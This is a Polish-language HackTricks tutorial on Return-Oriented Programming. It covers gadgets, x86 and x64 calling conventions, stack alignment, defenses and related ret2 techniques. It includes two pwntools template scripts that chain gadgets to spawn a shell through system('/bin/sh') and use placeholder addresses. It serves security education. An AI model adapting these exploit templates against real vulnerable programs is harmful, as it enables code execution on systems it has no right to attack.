ROP - Programowanie Zorientowane na Zwracanie

Reading time: 8 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Podstawowe Informacje

Programowanie Zorientowane na Zwracanie (ROP) to zaawansowana technika eksploatacji używana do obejścia zabezpieczeń takich jak No-Execute (NX) lub Data Execution Prevention (DEP). Zamiast wstrzykiwać i wykonywać shellcode, atakujący wykorzystuje fragmenty kodu już obecne w binarnym pliku lub załadowanych bibliotekach, znane jako "gadżety". Każdy gadżet zazwyczaj kończy się instrukcją ret i wykonuje małą operację, taką jak przenoszenie danych między rejestrami lub wykonywanie operacji arytmetycznych. Łącząc te gadżety, atakujący może skonstruować ładunek do wykonywania dowolnych operacji, skutecznie omijając zabezpieczenia NX/DEP.

Jak działa ROP

  1. Przechwytywanie Przepływu Kontroli: Najpierw atakujący musi przechwycić przepływ kontroli programu, zazwyczaj wykorzystując przepełnienie bufora do nadpisania zapisanej adresu powrotu na stosie.
  2. Łączenie Gadżetów: Atakujący następnie starannie wybiera i łączy gadżety, aby wykonać pożądane działania. Może to obejmować przygotowanie argumentów do wywołania funkcji, wywołanie funkcji (np. system("/bin/sh")) oraz obsługę wszelkich niezbędnych czynności porządkowych lub dodatkowych operacji.
  3. Wykonanie Ładunku: Gdy wrażliwa funkcja zwraca, zamiast wracać do legalnej lokalizacji, zaczyna wykonywać łańcuch gadżetów.

Narzędzia

Zazwyczaj gadżety można znaleźć za pomocą ROPgadget, ropper lub bezpośrednio z pwntools (ROP).

Przykład Łańcucha ROP w x86

x86 (32-bit) Konwencje Wywołań

  • cdecl: Wywołujący czyści stos. Argumenty funkcji są umieszczane na stosie w odwrotnej kolejności (od prawej do lewej). Argumenty są umieszczane na stosie od prawej do lewej.
  • stdcall: Podobnie jak cdecl, ale wywoływana funkcja jest odpowiedzialna za czyszczenie stosu.

Znajdowanie Gadżetów

Najpierw załóżmy, że zidentyfikowaliśmy niezbędne gadżety w binarnym pliku lub jego załadowanych bibliotekach. Gadżety, którymi jesteśmy zainteresowani, to:

  • pop eax; ret: Ten gadżet przenosi górną wartość stosu do rejestru EAX, a następnie zwraca, co pozwala nam kontrolować EAX.
  • pop ebx; ret: Podobnie jak powyżej, ale dla rejestru EBX, umożliwiając kontrolę nad EBX.
  • mov [ebx], eax; ret: Przenosi wartość w EAX do lokalizacji pamięci wskazywanej przez EBX, a następnie zwraca. Często nazywane jest to gadżetem write-what-where.
  • Dodatkowo mamy dostęp do adresu funkcji system().

Łańcuch ROP

Używając pwntools, przygotowujemy stos do wykonania łańcucha ROP w następujący sposób, mając na celu wykonanie system('/bin/sh'), zwróć uwagę, jak łańcuch zaczyna się od:

  1. Instrukcji ret w celach wyrównania (opcjonalnie)
  2. Adresu funkcji system (zakładając, że ASLR jest wyłączone i znana jest libc, więcej informacji w Ret2lib)
  3. Miejsca na adres powrotu z system()
  4. Adresu ciągu "/bin/sh" (parametr dla funkcji system)
python
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

ROP Chain w przykładzie x64

x64 (64-bit) konwencje wywołań

  • Używa konwencji wywołań System V AMD64 ABI w systemach podobnych do Uniksa, gdzie pierwsze sześć argumentów całkowitych lub wskaźnikowych jest przekazywanych w rejestrach RDI, RSI, RDX, RCX, R8 i R9. Dodatkowe argumenty są przekazywane na stosie. Wartość zwracana jest umieszczana w RAX.
  • Konwencja wywołań Windows x64 używa RCX, RDX, R8 i R9 dla pierwszych czterech argumentów całkowitych lub wskaźnikowych, a dodatkowe argumenty są przekazywane na stosie. Wartość zwracana jest umieszczana w RAX.
  • Rejestry: Rejestry 64-bitowe obejmują RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP oraz R8 do R15.

Znajdowanie gadżetów

Dla naszych potrzeb skupmy się na gadżetach, które pozwolą nam ustawić rejestr RDI (aby przekazać ciąg "/bin/sh" jako argument do system()) i następnie wywołać funkcję system(). Zakładamy, że zidentyfikowaliśmy następujące gadżety:

  • pop rdi; ret: Przenosi górną wartość stosu do RDI i następnie zwraca. Niezbędne do ustawienia naszego argumentu dla system().
  • ret: Proste wywołanie zwrotne, przydatne do wyrównania stosu w niektórych scenariuszach.

I znamy adres funkcji system().

ROP Chain

Poniżej znajduje się przykład użycia pwntools do skonfigurowania i wykonania łańcucha ROP mającego na celu wykonanie system('/bin/sh') na x64:

python
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

W tym przykładzie:

  • Wykorzystujemy gadżet pop rdi; ret, aby ustawić RDI na adres "/bin/sh".
  • Bezpośrednio skaczemy do system() po ustawieniu RDI, z adresem system() w łańcuchu.
  • ret_gadget jest używany do wyrównania, jeśli docelowe środowisko tego wymaga, co jest bardziej powszechne w x64, aby zapewnić prawidłowe wyrównanie stosu przed wywołaniem funkcji.

Wyrównanie Stosu

ABI x86-64 zapewnia, że stos jest wyrównany do 16 bajtów, gdy wykonywana jest instrukcja call. LIBC, aby zoptymalizować wydajność, używa instrukcji SSE (takich jak movaps), które wymagają tego wyrównania. Jeśli stos nie jest prawidłowo wyrównany (co oznacza, że RSP nie jest wielokrotnością 16), wywołania funkcji takich jak system zakończą się niepowodzeniem w łańcuchu ROP. Aby to naprawić, wystarczy dodać gadżet ret przed wywołaniem system w swoim łańcuchu ROP.

Główna różnica między x86 a x64

tip

Ponieważ x64 używa rejestrów dla pierwszych kilku argumentów, często wymaga mniej gadżetów niż x86 do prostych wywołań funkcji, ale znalezienie i połączenie odpowiednich gadżetów może być bardziej skomplikowane z powodu zwiększonej liczby rejestrów i większej przestrzeni adresowej. Zwiększona liczba rejestrów i większa przestrzeń adresowa w architekturze x64 stwarzają zarówno możliwości, jak i wyzwania dla rozwoju exploitów, szczególnie w kontekście Programowania Opartego na Powrocie (ROP).

Przykład łańcucha ROP w ARM64

Podstawy ARM64 i konwencje wywołań

Sprawdź następującą stronę w celu uzyskania tych informacji:

{{#ref}} ../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}}

Ochrony przed ROP

  • ASLR & PIE: Te zabezpieczenia utrudniają użycie ROP, ponieważ adresy gadżetów zmieniają się między wykonaniami.
  • Stack Canaries: W przypadku BOF, konieczne jest ominięcie przechowywanych kanarków stosu, aby nadpisać wskaźniki powrotu i wykorzystać łańcuch ROP.
  • Brak Gadżetów: Jeśli nie ma wystarczającej liczby gadżetów, nie będzie możliwe wygenerowanie łańcucha ROP.

Techniki oparte na ROP

Zauważ, że ROP to tylko technika mająca na celu wykonanie dowolnego kodu. Na podstawie ROP opracowano wiele technik Ret2XXX:

  • Ret2lib: Użyj ROP, aby wywołać dowolne funkcje z załadowanej biblioteki z dowolnymi parametrami (zwykle coś w stylu system('/bin/sh').

{{#ref}} ret2lib/ {{#endref}}

  • Ret2Syscall: Użyj ROP, aby przygotować wywołanie do syscall, np. execve, i wykonać dowolne polecenia.

{{#ref}} rop-syscall-execv/ {{#endref}}

  • EBP2Ret & EBP Chaining: Pierwsza technika wykorzysta EBP zamiast EIP do kontrolowania przepływu, a druga jest podobna do Ret2lib, ale w tym przypadku przepływ jest kontrolowany głównie za pomocą adresów EBP (chociaż również konieczne jest kontrolowanie EIP).

{{#ref}} ../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md {{#endref}}

Inne Przykłady i Odniesienia

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks